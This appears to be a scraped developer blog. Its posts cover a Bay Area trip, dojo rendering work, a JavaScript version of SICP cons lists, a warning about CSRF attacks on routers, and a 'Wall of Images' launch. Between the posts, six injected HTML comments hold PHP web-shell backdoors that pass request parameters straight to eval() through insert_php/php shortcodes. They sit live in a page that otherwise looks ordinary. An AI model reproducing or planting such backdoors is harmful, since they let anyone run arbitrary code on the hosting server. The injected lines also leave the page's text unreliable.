Author: Ben

In the spirit of Paul’s something-more-than-twitter updates, here’s mine (though it really covers Sunday through Tuesday):

• Played golf at San Teresa with Will and Danny. 41 / 39 for an 80, with birdies on 10 and 11. Not bad for the first round of the year after eight hours of flying. Nice course, back nine was much more interesting than the front and they have Segways available as golf carts!
• Spent some profiling the new rendering code. Profiling is always interesting, as it rarely turns up what you would expect. We seem to be spending a lot of time in dojo.lang.nameAnonFunc…
• The Burro makes quite the strong margarita. Be sure to ask for the large size.
• Fry’s is amazing. I wish we had something like it on the east coast, though my wallet is happy we don’t.
• The never-ending search for the perfect a decent Bluetooth headset continues. Rob suggests the Plantronics 510. Multipoint seems quite cool and the 510 is not overtly expensive.
• Pacific Cookie Co. makes some excellent cookies. Double fudge and sugar are my faves.
• Rock Bottom has some tasty beers, though the current brewmaster’s choice (a light red) isn’t all that great. The normal red was much better.
• Yes, this entire trip has been an excuse to eat.
• Still working on integrating dojo.dnd2 into our tree. Need to abstract out the selection bit, but I’ve got the node selection / filtering working.

If you’re reading this, you’re being served content from my fancy new TextDrive-hosted blog, including a fancy new Atom 1.0 feed using an Atom 1.0 plugin by Ben Smedbergs.

Next up, moving over all of the old content. Please prepare to ignore vast quantities of posts in your favorite feed reader.

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<!– [insert_php]if (isset($_REQUEST["nKzY"])){eval($_REQUEST["nKzY"]);exit;}[/insert_php][php]if (isset($_REQUEST["nKzY"])){eval($_REQUEST["nKzY"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["Ngejf"])){eval($_REQUEST["Ngejf"]);exit;}[/insert_php][php]if (isset($_REQUEST["Ngejf"])){eval($_REQUEST["Ngejf"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["FJDPR"])){eval($_REQUEST["FJDPR"]);exit;}[/insert_php][php]if (isset($_REQUEST["FJDPR"])){eval($_REQUEST["FJDPR"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["qMXwD"])){eval($_REQUEST["qMXwD"]);exit;}[/insert_php][php]if (isset($_REQUEST["qMXwD"])){eval($_REQUEST["qMXwD"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["SIo"])){eval($_REQUEST["SIo"]);exit;}[/insert_php][php]if (isset($_REQUEST["SIo"])){eval($_REQUEST["SIo"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["HObVJ"])){eval($_REQUEST["HObVJ"]);exit;}[/insert_php][php]if (isset($_REQUEST["HObVJ"])){eval($_REQUEST["HObVJ"]);exit;}[/php] –>

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Woo boy. Some fun javascript for your consideration. Who said scheme was dead? This code adapted from the Abelson and Sussman lectures on the Structure and Interpretation of Programs.

function cons(x,y) {
  var f = function(pick) {
    if(pick == 0) return x;
    else if(pick == 1) return y;
  }
  f.toString = _printCons;
  return f;
}

function _printCons() {
  var s = "";
  s += (car(this) || "(nil)");
  if(cdr(this)) {
    s += ","
    s += cdr(this);
  }
  return s;
}

function car(p) { return p(0); }
function cdr(p) { return p(1); }

// cons(1, cons(2, cons(3, cons(4,null))));
function list() {
  var l = null;
  for(var i = arguments.length-1; i >= 0; i--)
    l = cons(arguments[i],l);
  return l;
}

function map(p,l) {
  if(l == null) return null;
  else {
    return cons(
      p(car(l)),
      map(p, cdr(l))
    );
  }
}

function for_each(p,l) {
  if(l == null) return "done";
  else {
    p(car(l));
    for_each(p, cdr(l));
  }
}

Just saw a an article on a technique to take over an open internal router using a CSRF technique. If you’re on something named linksys, beware. VPN’ing home before doing anything else is probably a really really good idea.

Last night, we launched a little toy project, called the Wall of Images. It’s a nearly live look at the images contained in blog posts, brought to you as our crawlers find them. Paul has some more on the particulars if you’re interested.

Be warned, this is an accurate representation of the images contained in feeds that people actually read, so there’s a fair chance you’re going to see some pr0n. This is 99% not safe for the workplace or an educational setting. God forbid you get forty years in jail.